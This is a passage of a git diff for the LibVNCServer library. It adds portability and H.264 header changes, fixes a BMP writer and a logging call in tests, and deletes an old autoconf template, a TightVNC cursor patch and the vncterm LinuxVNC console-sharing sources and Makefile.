/** send a TextChat message to a client */
extern rfbBool rfbSendTextChatMessage(rfbClientPtr cl, uint32_t length, char *buffer);
-extern void rfbScalingSetup(rfbClientPtr cl, int width, int height);
/*
* Additions for Qt event loop integration
diff --git a/rfb/rfbclient.h b/rfb/rfbclient.h
index 0ecc5e4..aedb4f4 100644
--- a/rfb/rfbclient.h
+++ b/rfb/rfbclient.h
@@ -31,6 +31,10 @@
* @file rfbclient.h
*/
+#ifdef WIN32
+#define WIN32_LEAN_AND_MEAN /* Prevent loading any Winsock 1.x headers from windows.h */
+#endif
+
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
@@ -346,6 +350,10 @@
int listen6Sock;
char* listen6Address;
int listen6Port;
+
+ /* Output Window ID. When set, client application enables libvncclient to perform direct rendering in its window */
+ unsigned long outputWindow;
+
} rfbClient;
/* cursor.c */
diff --git a/rfb/rfbconfig.h.cmake b/rfb/rfbconfig.h.cmake
index b095948..3e3155b 100644
--- a/rfb/rfbconfig.h.cmake
+++ b/rfb/rfbconfig.h.cmake
@@ -9,6 +9,9 @@
/* work around when write() returns ENOENT but does not mean it */
#cmakedefine LIBVNCSERVER_ENOENT_WORKAROUND 1
+/* Define to 1 if you have the <endian.h> header file. */
+#cmakedefine LIBVNCSERVER_HAVE_ENDIAN_H 1
+
/* Define to 1 if you have the <fcntl.h> header file. */
#cmakedefine LIBVNCSERVER_HAVE_FCNTL_H 1
@@ -30,6 +33,9 @@
/* Define to 1 if you have the <netinet/in.h> header file. */
#cmakedefine LIBVNCSERVER_HAVE_NETINET_IN_H 1
+/* Define to 1 if you have the <sys/endian.h> header file. */
+#cmakedefine LIBVNCSERVER_HAVE_SYS_ENDIAN_H 1
+
/* Define to 1 if you have the <sys/socket.h> header file. */
#cmakedefine LIBVNCSERVER_HAVE_SYS_SOCKET_H 1
@@ -56,6 +62,10 @@
/* Define to the version of this package. */
#define LIBVNCSERVER_PACKAGE_VERSION "@PACKAGE_VERSION@"
+#define LIBVNCSERVER_VERSION "@PACKAGE_VERSION@"
+#define LIBVNCSERVER_VERSION_MAJOR "@VERSION_MAJOR@"
+#define LIBVNCSERVER_VERSION_MINOR "@VERSION_MINOR@"
+#define LIBVNCSERVER_VERSION_PATCHLEVEL "@VERSION_PATCHLEVEL@"
/* Define to 1 if libgcrypt is present */
#cmakedefine LIBVNCSERVER_WITH_CLIENT_GCRYPT 1
@@ -71,13 +81,13 @@
#cmakedefine LIBVNCSERVER_WORDS_BIGENDIAN 1
/* Define to empty if `const' does not conform to ANSI C. */
-//#cmakedefine const @CMAKE_CONST@
+/* #cmakedefine const @CMAKE_CONST@ */
/* Define to `__inline__' or `__inline' if that's what the C compiler
calls it, or to nothing if 'inline' is not supported under any name. */
-//#ifndef __cplusplus
-//#cmakedefine inline @CMAKE_INLINE@
-//#endif
+/* #ifndef __cplusplus */
+/* #cmakedefine inline @CMAKE_INLINE@ */
+/* #endif */
/* Define to `int' if <sys/types.h> does not define. */
#cmakedefine HAVE_LIBVNCSERVER_PID_T 1
diff --git a/rfb/rfbproto.h b/rfb/rfbproto.h
index acb2e7b..4169fd6 100644
--- a/rfb/rfbproto.h
+++ b/rfb/rfbproto.h
@@ -65,7 +65,7 @@
#define LIBVNCSERVER_WORDS_BIGENDIAN
#define rfbBool int
#include <sys/timeb.h>
-#include <winsock.h>
+#include <winsock2.h>
#undef SOCKET
#define SOCKET int
#else
@@ -108,6 +108,10 @@
#define TRUE -1
#endif
+#ifdef _MSC_VER
+#include <stdint.h>
+#endif
+
typedef uint32_t rfbKeySym;
typedef uint32_t rfbPixel;
@@ -442,6 +446,8 @@
#define rfbEncodingZRLE 16
#define rfbEncodingZYWRLE 17
+#define rfbEncodingH264 0x48323634
+
/* Cache & XOR-Zlib - rdv@2002 */
#define rfbEncodingCache 0xFFFF0000
#define rfbEncodingCacheEnable 0xFFFF0001
@@ -869,6 +875,21 @@
#endif
/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+ * h264 - h264 encoding. We have an rfbH264Header structure
+ * giving the number of bytes following. Finally the data follows is
+ * h264 encoded frame.
+ */
+
+typedef struct {
+ uint32_t nBytes;
+ uint32_t slice_type;
+ uint32_t width;
+ uint32_t height;
+} rfbH264Header;
+
+#define sz_rfbH264Header 16
+
+/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
* XCursor encoding. This is a special encoding used to transmit X-style
* cursor shapes from server to clients. Note that for this encoding,
* coordinates in rfbFramebufferUpdateRectHeader structure hold hotspot
diff --git a/rfbconfig.h.in b/rfbconfig.h.in
deleted file mode 100644
index 8ae039e..0000000
--- a/rfbconfig.h.in
+++ /dev/null
@@ -1,429 +0,0 @@
-/* rfbconfig.h.in. Generated from configure.ac by autoheader. */
-
-/* Define if building universal (internal helper macro) */
-#undef AC_APPLE_UNIVERSAL_BUILD
-
-/* Enable 24 bit per pixel in native framebuffer */
-#undef ALLOW24BPP
-
-/* work around when write() returns ENOENT but does not mean it */
-#undef ENOENT_WORKAROUND
-
-/* Use ffmpeg (for vnc2mpg) */
-#undef FFMPEG
-
-/* Android host system detected */
-#undef HAVE_ANDROID
-
-/* Define to 1 if you have the <arpa/inet.h> header file. */
-#undef HAVE_ARPA_INET_H
-
-/* Avahi/mDNS client build environment present */
-#undef HAVE_AVAHI
-
-/* Define to 1 if you have the `crypt' function. */
-#undef HAVE_CRYPT
-
-/* Define to 1 if you have the <dlfcn.h> header file. */
-#undef HAVE_DLFCN_H
-
-/* Define to 1 if you don't have `vprintf' but do have `_doprnt.' */
-#undef HAVE_DOPRNT
-
-/* DPMS extension build environment present */
-#undef HAVE_DPMS
-
-/* FBPM extension build environment present */
-#undef HAVE_FBPM
-
-/* Define to 1 if you have the <fcntl.h> header file. */
-#undef HAVE_FCNTL_H
-
-/* Define to 1 if you have the `fork' function. */
-#undef HAVE_FORK
-
-/* Define to 1 if you have the `ftime' function. */
-#undef HAVE_FTIME
-
-/* Define to 1 if you have the `geteuid' function. */
-#undef HAVE_GETEUID
-
-/* Define to 1 if you have the `gethostbyname' function. */
-#undef HAVE_GETHOSTBYNAME
-
-/* Define to 1 if you have the `gethostname' function. */
-#undef HAVE_GETHOSTNAME
-
-/* Define to 1 if you have the `getpwnam' function. */
-#undef HAVE_GETPWNAM
-
-/* Define to 1 if you have the `getpwuid' function. */
-#undef HAVE_GETPWUID
-
-/* Define to 1 if you have the `getspnam' function. */
-#undef HAVE_GETSPNAM
-
-/* Define to 1 if you have the `gettimeofday' function. */
-#undef HAVE_GETTIMEOFDAY
-
-/* Define to 1 if you have the `getuid' function. */
-#undef HAVE_GETUID
-
-/* GnuTLS library present */
-#undef HAVE_GNUTLS
-
-/* Define to 1 if you have the `grantpt' function. */
-#undef HAVE_GRANTPT
-
-/* Define to 1 if you have the `inet_ntoa' function. */
-#undef HAVE_INET_NTOA
-
-/* Define to 1 if you have the `initgroups' function. */
-#undef HAVE_INITGROUPS
-
-/* Define to 1 if you have the <inttypes.h> header file. */
-#undef HAVE_INTTYPES_H
-
-/* IRIX XReadDisplay available */
-#undef HAVE_IRIX_XREADDISPLAY
-
-/* libcrypt library present */
-#undef HAVE_LIBCRYPT
-
-/* openssl libcrypto library present */
-#undef HAVE_LIBCRYPTO
-
-/* Define to 1 if you have the `cygipc' library (-lcygipc). */
-#undef HAVE_LIBCYGIPC
-
-/* libjpeg support enabled */
-#undef HAVE_LIBJPEG
-
-/* Define to 1 if you have the `nsl' library (-lnsl). */
-#undef HAVE_LIBNSL
-
-/* Define to 1 if you have the `png' library (-lpng). */
-#undef HAVE_LIBPNG
-
-/* Define to 1 if you have the `pthread' library (-lpthread). */
-#undef HAVE_LIBPTHREAD
-
-/* Define to 1 if you have the `socket' library (-lsocket). */
-#undef HAVE_LIBSOCKET
-
-/* openssl libssl library present */
-#undef HAVE_LIBSSL
-
-/* XDAMAGE extension build environment present */
-#undef HAVE_LIBXDAMAGE
-
-/* XFIXES extension build environment present */
-#undef HAVE_LIBXFIXES
-
-/* XINERAMA extension build environment present */
-#undef HAVE_LIBXINERAMA
-
-/* XRANDR extension build environment present */
-#undef HAVE_LIBXRANDR
-
-/* DEC-XTRAP extension build environment present */
-#undef HAVE_LIBXTRAP
-
-/* Define to 1 if you have the `z' library (-lz). */
-#undef HAVE_LIBZ
-
-/* linux fb device build environment present */
-#undef HAVE_LINUX_FB_H
-
-/* linux/input.h present */
-#undef HAVE_LINUX_INPUT_H
-
-/* linux uinput device build environment present */
-#undef HAVE_LINUX_UINPUT_H
-
-/* video4linux build environment present */
-#undef HAVE_LINUX_VIDEODEV_H
-
-/* build MacOS X native display support */
-#undef HAVE_MACOSX_NATIVE_DISPLAY
-
-/* MacOS X OpenGL present */
-#undef HAVE_MACOSX_OPENGL_H
-
-/* Define to 1 if you have the `memmove' function. */
-#undef HAVE_MEMMOVE
-
-/* Define to 1 if you have the <memory.h> header file. */
-#undef HAVE_MEMORY_H
-
-/* Define to 1 if you have the `memset' function. */
-#undef HAVE_MEMSET
-
-/* Define to 1 if you have the `mkfifo' function. */
-#undef HAVE_MKFIFO
-
-/* Define to 1 if you have the `mmap' function. */
-#undef HAVE_MMAP
-
-/* Define to 1 if you have the <netdb.h> header file. */
-#undef HAVE_NETDB_H
-
-/* Define to 1 if you have the <netinet/in.h> header file. */
-#undef HAVE_NETINET_IN_H
-
-/* Define to 1 if you have the <pwd.h> header file. */
-#undef HAVE_PWD_H
-
-/* RECORD extension build environment present */
-#undef HAVE_RECORD
-
-/* Define to 1 if you have the `select' function. */
-#undef HAVE_SELECT
-
-/* Define to 1 if you have the `setegid' function. */
-#undef HAVE_SETEGID
-
-/* Define to 1 if you have the `seteuid' function. */
-#undef HAVE_SETEUID
-
-/* Define to 1 if you have the `setgid' function. */
-#undef HAVE_SETGID
-
-/* Define to 1 if you have the `setpgrp' function. */
-#undef HAVE_SETPGRP
-
-/* Define to 1 if you have the `setsid' function. */
-#undef HAVE_SETSID
-
-/* Define to 1 if you have the `setuid' function. */
-#undef HAVE_SETUID
-
-/* Define to 1 if you have the `setutxent' function. */
-#undef HAVE_SETUTXENT
-
-/* Define to 1 if you have the `shmat' function. */
-#undef HAVE_SHMAT
-
-/* Define to 1 if you have the `socket' function. */
-#undef HAVE_SOCKET
-
-/* Solaris XReadScreen available */
-#undef HAVE_SOLARIS_XREADSCREEN
-
-/* Define to 1 if `stat' has the bug that it succeeds when given the
- zero-length file name argument. */
-#undef HAVE_STAT_EMPTY_STRING_BUG
-
-/* Define to 1 if you have the <stdint.h> header file. */
-#undef HAVE_STDINT_H
-
-/* Define to 1 if you have the <stdlib.h> header file. */
-#undef HAVE_STDLIB_H
-
-/* Define to 1 if you have the `strchr' function. */
-#undef HAVE_STRCHR
-
-/* Define to 1 if you have the `strcspn' function. */
-#undef HAVE_STRCSPN
-
-/* Define to 1 if you have the `strdup' function. */
-#undef HAVE_STRDUP
-
-/* Define to 1 if you have the `strerror' function. */
-#undef HAVE_STRERROR
-
-/* Define to 1 if you have the `strftime' function. */
-#undef HAVE_STRFTIME
-
-/* Define to 1 if you have the <strings.h> header file. */
-#undef HAVE_STRINGS_H
-
-/* Define to 1 if you have the <string.h> header file. */
-#undef HAVE_STRING_H
-
-/* Define to 1 if you have the `strstr' function. */
-#undef HAVE_STRSTR
-
-/* Define to 1 if you have the <syslog.h> header file. */
-#undef HAVE_SYSLOG_H
-
-/* Use the system libvncserver build environment for x11vnc. */
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deleted file mode 100644
index 9ce06a8..0000000
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index 9ce06a8..0000000
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diff --git a/test/bmp.c b/test/bmp.c
index 6f27f6b..7dcbf13 100644
--- a/test/bmp.c
+++ b/test/bmp.c
@@ -28,9 +28,6 @@
#include "./tjutil.h"
#include "./bmp.h"
-#define LOG_TAG "bmp.c"
-#include <cutils/log.h>
-
#define byteswap(i) ( \
(((i) & 0xff000000) >> 24) | \
(((i) & 0x00ff0000) >> 8) | \
@@ -326,14 +323,14 @@
dstpitch=((w*3)+3)&(~3);
bh.bfType=0x4d42;
- bh.bfSize=BMPHDRSIZE+srcpitch*h;
+ bh.bfSize=BMPHDRSIZE+dstpitch*h;
bh.bfReserved1=0; bh.bfReserved2=0;
bh.bfOffBits=BMPHDRSIZE;
bh.biSize=40;
bh.biWidth=w; bh.biHeight=h;
- bh.biPlanes=1; bh.biBitCount=32;
+ bh.biPlanes=0; bh.biBitCount=24;
bh.biCompression=BI_RGB; bh.biSizeImage=0;
- bh.biXPelsPerMeter=w; bh.biYPelsPerMeter=h;
+ bh.biXPelsPerMeter=0; bh.biYPelsPerMeter=0;
bh.biClrUsed=0; bh.biClrImportant=0;
if(!littleendian())
@@ -371,7 +368,6 @@
writeme(fd, &bh.biClrUsed, sizeof(unsigned int));
writeme(fd, &bh.biClrImportant, sizeof(unsigned int));
-#if 0
if((tempbuf=(unsigned char *)malloc(dstpitch*h))==NULL)
_throw("Memory allocation error");
@@ -380,11 +376,6 @@
if((byteswritten=write(fd, tempbuf, dstpitch*h))!=dstpitch*h)
_throw(strerror(errno));
-#else
- ALOGI("writting bitmap data (%u bytes), srcpitch = %d, h = %d", srcpitch*h, srcpitch, h);
- if((byteswritten=write(fd, buf, srcpitch*h))!=srcpitch*h)
- _throw(strerror(errno));
-#endif
finally:
if(tempbuf) free(tempbuf);
diff --git a/test/bmp.h b/test/bmp.h
index 055b1ee..9d1c263 100644
--- a/test/bmp.h
+++ b/test/bmp.h
@@ -13,8 +13,8 @@
* wxWindows Library License for more details.
*/
-// This provides rudimentary facilities for loading and saving true color
-// BMP and PPM files
+/* This provides rudimentary facilities for loading and saving true color */
+/* BMP and PPM files */
#ifndef __BMP_H__
#define __BMP_H__
@@ -26,16 +26,20 @@
extern "C" {
#endif
-// This will load a Windows bitmap from a file and return a buffer with the
-// specified pixel format, scanline alignment, and orientation. The width and
-// height are returned in w and h.
+/*
+ * This will load a Windows bitmap from a file and return a buffer with the
+ * specified pixel format, scanline alignment, and orientation. The width and
+ * height are returned in w and h.
+ */
int loadbmp(char *filename, unsigned char **buf, int *w, int *h,
enum BMPPIXELFORMAT f, int align, int dstbottomup);
-// This will save a buffer with the specified pixel format, pitch, orientation,
-// width, and height as a 24-bit Windows bitmap or PPM (the filename determines
-// which format to use)
+/*
+ * This will save a buffer with the specified pixel format, pitch, orientation,
+ * width, and height as a 24-bit Windows bitmap or PPM (the filename determines
+ * which format to use)
+ */
int savebmp(char *filename, unsigned char *buf, int w, int h,
enum BMPPIXELFORMAT f, int srcpitch, int srcbottomup);
diff --git a/test/encodingstest.c b/test/encodingstest.c
index e79f7e7..715e887 100644
--- a/test/encodingstest.c
+++ b/test/encodingstest.c
@@ -172,6 +172,7 @@
}
free(((clientData*)client->clientData)->display);
free(client->clientData);
+ client->clientData = NULL;
if(client->frameBuffer)
free(client->frameBuffer);
rfbClientCleanup(client);
@@ -256,7 +257,7 @@
time(&log_clock);
strftime(buf, 255, "%d/%m/%Y %X (client) ", localtime(&log_clock));
- fprintf(stderr,buf);
+ fprintf(stderr,"%s",buf);
vfprintf(stderr, format, args);
fflush(stderr);
diff --git a/tightvnc-1.3dev5-vncviewer-alpha-cursor.patch b/tightvnc-1.3dev5-vncviewer-alpha-cursor.patch
deleted file mode 100644
index c9b31e7..0000000
--- a/tightvnc-1.3dev5-vncviewer-alpha-cursor.patch
+++ /dev/null
@@ -1,143 +0,0 @@
---- vnc_unixsrc.orig/vncviewer/cursor.c 2003-01-15 04:46:52.000000000 -0500
-+++ vnc_unixsrc/vncviewer/cursor.c 2005-02-05 12:28:10.000000000 -0500
-@@ -472,6 +472,140 @@
- int offset, bytesPerPixel;
- char *pos;
-
-+#define alphahack
-+#ifdef alphahack
-+ /* hack to have cursor transparency at 32bpp <runge@karlrunge.com> */
-+ static int alphablend = -1;
-+
-+ if (alphablend < 0) {
-+ /* you have to set NO_ALPHABLEND=1 in your environment to disable */
-+ if (getenv("NO_ALPHABLEND")) {
-+ alphablend = 0;
-+ } else {
-+ alphablend = 1;
-+ }
-+ }
-+
-+ bytesPerPixel = myFormat.bitsPerPixel / 8;
-+
-+ if (alphablend && bytesPerPixel == 4) {
-+ unsigned long pixel, put, *upos, *upix;
-+ int got_alpha = 0, rsX, rsY, rsW, rsH;
-+ static XImage *image = NULL;
-+ static int iwidth = 128;
-+
-+ if (! image) {
-+ /* watch out for tiny fb (rare) */
-+ if (iwidth > si.framebufferWidth) {
-+ iwidth = si.framebufferWidth;
-+ }
-+ if (iwidth > si.framebufferHeight) {
-+ iwidth = si.framebufferHeight;
-+ }
-+
-+ /* initialize an XImage with a chunk of desktopWin */
-+ image = XGetImage(dpy, desktopWin, 0, 0, iwidth, iwidth,
-+ AllPlanes, ZPixmap);
-+ }
-+
-+ /* first check if there is any non-zero alpha channel data at all: */
-+ for (y = 0; y < rcHeight; y++) {
-+ for (x = 0; x < rcWidth; x++) {
-+ int alpha;
-+
-+ offset = y * rcWidth + x;
-+ pos = (char *)&rcSource[offset * bytesPerPixel];
-+
-+ upos = (unsigned long *) pos;
-+ alpha = (*upos & 0xff000000) >> 24;
-+ if (alpha) {
-+ got_alpha = 1;
-+ break;
-+ }
-+ }
-+ if (got_alpha) {
-+ break;
-+ }
-+ }
-+
-+ if (!got_alpha) {
-+ /* no alpha channel data, fallback to the old way */
-+ goto oldway;
-+ }
-+
-+ /* load the saved fb patch in to image (faster way?) */
-+ XGetSubImage(dpy, rcSavedArea, 0, 0, rcWidth, rcHeight,
-+ AllPlanes, ZPixmap, image, 0, 0);
-+ upix = (unsigned long *)image->data;
-+
-+ /* if the richcursor is clipped, the fb patch will be smaller */
-+ rsW = rcWidth;
-+ rsX = 0; /* used to denote a shift from the left side */
-+ x = rcCursorX - rcHotX;
-+ if (x < 0) {
-+ rsW += x;
-+ rsX = -x;
-+ } else if (x + rsW > si.framebufferWidth) {
-+ rsW = si.framebufferWidth - x;
-+ }
-+ rsH = rcHeight;
-+ rsY = 0; /* used to denote a shift from the top side */
-+ y = rcCursorY - rcHotY;
-+ if (y < 0) {
-+ rsH += y;
-+ rsY = -y;
-+ } else if (y + rsH > si.framebufferHeight) {
-+ rsH = si.framebufferHeight - y;
-+ }
-+
-+ /*
-+ * now loop over the cursor data, blend in the fb values,
-+ * and then overwrite the fb (CopyDataToScreen())
-+ */
-+ for (y = 0; y < rcHeight; y++) {
-+ y0 = rcCursorY - rcHotY + y;
-+ if (y0 < 0 || y0 >= si.framebufferHeight) {
-+ continue; /* clipped */
-+ }
-+ for (x = 0; x < rcWidth; x++) {
-+ int alpha, color_curs, color_fb, i;
-+
-+ x0 = rcCursorX - rcHotX + x;
-+ if (x0 < 0 || x0 >= si.framebufferWidth) {
-+ continue; /* clipped */
-+ }
-+
-+ offset = y * rcWidth + x;
-+ pos = (char *)&rcSource[offset * bytesPerPixel];
-+
-+ /* extract secret alpha byte from rich cursor: */
-+ upos = (unsigned long *) pos;
-+ alpha = (*upos & 0xff000000) >> 24; /* XXX MSB? */
-+
-+ /* extract the pixel from the fb: */
-+ pixel = *(upix + (y-rsY)*iwidth + (x-rsX));
-+
-+ put = 0;
-+ /* for simplicity, blend all 4 bytes */
-+ for (i = 0; i < 4; i++) {
-+ int sh = i*8;
-+ color_curs = ((0xff << sh) & *upos) >> sh;
-+ color_fb = ((0xff << sh) & pixel) >> sh;
-+
-+ /* XXX assumes pre-multipled color_curs */
-+ color_fb = color_curs
-+ + ((0xff - alpha) * color_fb)/0xff;
-+ put |= color_fb << sh;
-+ }
-+ /* place in the fb: */
-+ CopyDataToScreen((char *)&put, x0, y0, 1, 1);
-+ }
-+ }
-+ return;
-+ }
-+oldway:
-+#endif
-+
- bytesPerPixel = myFormat.bitsPerPixel / 8;
-
- /* FIXME: Speed optimization is possible. */
diff --git a/vncterm/.deps/LinuxVNC.Po b/vncterm/.deps/LinuxVNC.Po
deleted file mode 100644
index 9ce06a8..0000000
--- a/vncterm/.deps/LinuxVNC.Po
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/vncterm/.deps/VNCommand.Po b/vncterm/.deps/VNCommand.Po
deleted file mode 100644
index 9ce06a8..0000000
--- a/vncterm/.deps/VNCommand.Po
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/vncterm/.deps/VNConsole.Po b/vncterm/.deps/VNConsole.Po
deleted file mode 100644
index 9ce06a8..0000000
--- a/vncterm/.deps/VNConsole.Po
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/vncterm/.deps/example.Po b/vncterm/.deps/example.Po
deleted file mode 100644
index 9ce06a8..0000000
--- a/vncterm/.deps/example.Po
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/vncterm/ChangeLog b/vncterm/ChangeLog
deleted file mode 100644
index 53a9c37..0000000
--- a/vncterm/ChangeLog
+++ /dev/null
@@ -1,15 +0,0 @@
-included in LibVNCServer package, autoconf'ed it
-SetXCutText implemented
-fix for cargs
-attributes work.
-cursor in LinuxVNC is shown.
-paste works
-selection works (no cursor trails)
-LinuxVNC gets it's dimensions via ioctl TIOCGWINSZ
-First working key injection in LinuxVNC!
-Added Mouse marking
-added screenBuffer (so you have ASCII screen also)
-fixed CopyRect for scrolling (need to propagate to libvncserver)
-made VNCommand work (no prompt for bash, but else seems ok)
-added flag for VNCommand to send input only after a newline
- (good for interactive bash)
diff --git a/vncterm/LinuxVNC.c b/vncterm/LinuxVNC.c
deleted file mode 100644
index 9b58954..0000000
--- a/vncterm/LinuxVNC.c
+++ /dev/null
@@ -1,191 +0,0 @@
-#include <rfb/keysym.h>
-#include "VNConsole.h"
-#include "vga.h"
-#include <fcntl.h>
-#include <sys/ioctl.h>
-
-static int tty=2;
-static int tty_inject_device;
-
-void do_key(rfbBool down,rfbKeySym keySym,rfbClientPtr cl)
-{
- static char isControl=0;
-
- if(down) {
- /* if(keySym==XK_Escape)
- rfbCloseClient(cl);
- else */ if(keySym==XK_Control_L || keySym==XK_Control_R)
- isControl++;
- else if(tty_inject_device>=0) {
- if(keySym==XK_Escape)
- keySym=27;
- if(isControl) {
- if(keySym>='a' && keySym<='z')
- keySym-='a'-1;
- else if(keySym>='A' && keySym<='Z')
- keySym-='A'-1;
- else
- keySym=0xffff;
- }
-
- if(keySym==XK_Tab)
- keySym='\t';
- else if(keySym==XK_Return)
- keySym='\r';
- else if(keySym==XK_BackSpace)
- keySym=8;
- else if(keySym==XK_Home || keySym==XK_KP_Home)
- keySym=1;
- else if(keySym==XK_End || keySym==XK_KP_End)
- keySym=5;
- else if(keySym==XK_Up || keySym==XK_KP_Up)
- keySym=16;
- else if(keySym==XK_Down || keySym==XK_KP_Down)
- keySym=14;
- else if(keySym==XK_Right || keySym==XK_KP_Right)
- keySym=6;
- else if(keySym==XK_Left || keySym==XK_KP_Left)
- keySym=2;
-
- if(keySym<0x100) {
- int ret;
- ret=ioctl(tty_inject_device,TIOCSTI,&keySym);
- if(ret<0) {
- static char device[64];
- close(tty_inject_device);
- sprintf(device,"/dev/tty%d",tty);
- tty_inject_device=open(device,O_WRONLY);
- ret=ioctl(tty_inject_device,TIOCSTI,&keySym);
- if(ret<0)
- rfbErr("Couldn't reopen device %s!\n",device);
- }
- }
- }
- } else if(keySym==XK_Control_L || keySym==XK_Control_R)
- if(isControl>0)
- isControl--;
-}
-
-/* these colours are from linux kernel drivers/char/console.c */
-unsigned char color_table[] = { 0, 4, 2, 6, 1, 5, 3, 7,
- 8,12,10,14, 9,13,11,15 };
-/* the default colour table, for VGA+ colour systems */
-int default_red[] = {0x00,0xaa,0x00,0xaa,0x00,0xaa,0x00,0xaa,
- 0x55,0xff,0x55,0xff,0x55,0xff,0x55,0xff};
-int default_grn[] = {0x00,0x00,0xaa,0x55,0x00,0x00,0xaa,0xaa,
- 0x55,0x55,0xff,0xff,0x55,0x55,0xff,0xff};
-int default_blu[] = {0x00,0x00,0x00,0x00,0xaa,0xaa,0xaa,0xaa,
- 0x55,0x55,0x55,0x55,0xff,0xff,0xff,0xff};
-
-int main(int argc,char **argv)
-{
- int width=80,height=25;
- char *buffer;
- vncConsolePtr console;
- char tty_device[64],title[128];
- int i;
- FILE* tty_file;
- struct winsize dimensions;
-
- if(argc>1) {
- if((tty=atoi(argv[1]))<1) {
- rfbErr("Usage: %s [tty_number [vnc args]]\n",argv[0]);
- exit(1);
- } else {
- argv++;
- argc--;
- }
- }
-
- /* getopt goes here! */
-
- sprintf(tty_device,"/dev/tty%d",tty);
- if((tty_inject_device=open(tty_device,O_WRONLY))<0) {
- rfbErr("Couldn't open tty device %s!\n",tty_device);
- exit(1);
- }
- rfbLog("Using device %s.\n",tty_device);
-
- if(ioctl(tty_inject_device,TIOCGWINSZ,&dimensions)>=0) {
- width=dimensions.ws_col;
- height=dimensions.ws_row;
- }
-
- sprintf(title,"LinuxVNC: /dev/tty%d",tty);
-
- /* console init */
- if(!(console=vcGetConsole(&argc,argv,width,height,&vgaFont,TRUE)))
- exit(1);
-
- for(i=0;i<16;i++) {
- console->screen->colourMap.data.bytes[i*3+0]=default_red[color_table[i]];
- console->screen->colourMap.data.bytes[i*3+1]=default_grn[color_table[i]];
- console->screen->colourMap.data.bytes[i*3+2]=default_blu[color_table[i]];
- }
- console->screen->desktopName=title;
- console->screen->kbdAddEvent=do_key;
- console->selectTimeOut=100000;
- console->wrapBottomToTop=TRUE;
-#ifdef USE_OLD_VCS
- buffer=malloc(width*height);
- console->cursorActive=FALSE;
-#else
- buffer=malloc(width*height*2+4);
- console->cursorActive=TRUE;
-#endif
- /* memcpy(buffer,console->screenBuffer,width*height); */
-
-#ifdef USE_OLD_VCS
- sprintf(tty_device,"/dev/vcs%d",tty);
-#else
- sprintf(tty_device,"/dev/vcsa%d",tty);
-#endif
-
- while(rfbIsActive(console->screen)) {
- if(!console->currentlyMarking) {
- tty_file=fopen(tty_device,"rb");
- if(!tty_file) {
- rfbErr("cannot open device \"%s\"\n",
- tty_device);
- exit(1);
- }
-#ifdef USE_OLD_VCS
- fread(buffer,width,height,tty_file);
-#else
- fread(buffer,width*height*2+4,1,tty_file);
- vcHideCursor(console);
-#endif
- fclose(tty_file);
-
- for(i=0;i<console->width*console->height;i++) {
- if
-#ifdef USE_OLD_VCS
- (buffer[i]!=console->screenBuffer[i])
-#else
- (buffer[4+2*i]!=console->screenBuffer[i] ||
- buffer[5+2*i]!=console->attributeBuffer[i])
-#endif
- {
- console->x=(i%console->width);
- console->y=(i/console->width);
- /*
- rfbLog("changes: %d,%d (%d!=%d || %d!=%d)\n",
- console->x,console->y,
- buffer[4+2*i],console->screenBuffer[i],
- buffer[5+2*i],console->attributeBuffer[i]);
- */
-
-#ifdef USE_OLD_VCS
- vcPutChar(console,buffer[i]);
-#else
- vcPutCharColour(console,buffer[4+i*2],buffer[5+i*2]&0x7,buffer[5+i*2]>>4);
-#endif
- }
- }
- console->x=buffer[2];
- console->y=buffer[3];
- }
- vcProcessEvents(console);
- }
- return(0);
-}
diff --git a/vncterm/Makefile b/vncterm/Makefile
deleted file mode 100644
index 17d94be..0000000
--- a/vncterm/Makefile
+++ /dev/null
@@ -1,622 +0,0 @@
-# Makefile.in generated by automake 1.11.6 from Makefile.am.
-# vncterm/Makefile. Generated from Makefile.in by configure.
-
-# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
-# 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011 Free Software
-# Foundation, Inc.
-# This Makefile.in is free software; the Free Software Foundation
-# gives unlimited permission to copy and/or distribute it,
-# with or without modifications, as long as this notice is preserved.
-
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
-# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
-# PARTICULAR PURPOSE.
-
-
-
-
-
-am__make_dryrun = \
- { \
- am__dry=no; \
- case $$MAKEFLAGS in \
- *\\[\ \ ]*) \
- echo 'am--echo: ; @echo "AM" OK' | $(MAKE) -f - 2>/dev/null \
- | grep '^AM OK$$' >/dev/null || am__dry=yes;; \
- *) \
- for am__flg in $$MAKEFLAGS; do \
- case $$am__flg in \
- *=*|--*) ;; \
- *n*) am__dry=yes; break;; \
- esac; \
- done;; \
- esac; \
- test $$am__dry = yes; \
- }
-pkgdatadir = $(datadir)/LibVNCServer
-pkgincludedir = $(includedir)/LibVNCServer
-pkglibdir = $(libdir)/LibVNCServer
-pkglibexecdir = $(libexecdir)/LibVNCServer
-am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
-install_sh_DATA = $(install_sh) -c -m 644
-install_sh_PROGRAM = $(install_sh) -c
-install_sh_SCRIPT = $(install_sh) -c
-INSTALL_HEADER = $(INSTALL_DATA)
-transform = $(program_transform_name)
-NORMAL_INSTALL = :
-PRE_INSTALL = :
-POST_INSTALL = :
-NORMAL_UNINSTALL = :
-PRE_UNINSTALL = :
-POST_UNINSTALL = :
-build_triplet = x86_64-unknown-linux-gnu
-host_triplet = x86_64-unknown-linux-gnu
-bin_PROGRAMS = \
- linuxvnc$(EXEEXT)
-noinst_PROGRAMS = example$(EXEEXT) $(am__EXEEXT_1)
-subdir = vncterm
-DIST_COMMON = README $(noinst_HEADERS) $(srcdir)/Makefile.am \
- $(srcdir)/Makefile.in ChangeLog TODO
-ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
-am__aclocal_m4_deps = $(top_srcdir)/acinclude.m4 \
- $(top_srcdir)/configure.ac
-am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
- $(ACLOCAL_M4)
-mkinstalldirs = $(install_sh) -d
-CONFIG_HEADER = $(top_builddir)/rfbconfig.h
-CONFIG_CLEAN_FILES =
-CONFIG_CLEAN_VPATH_FILES =
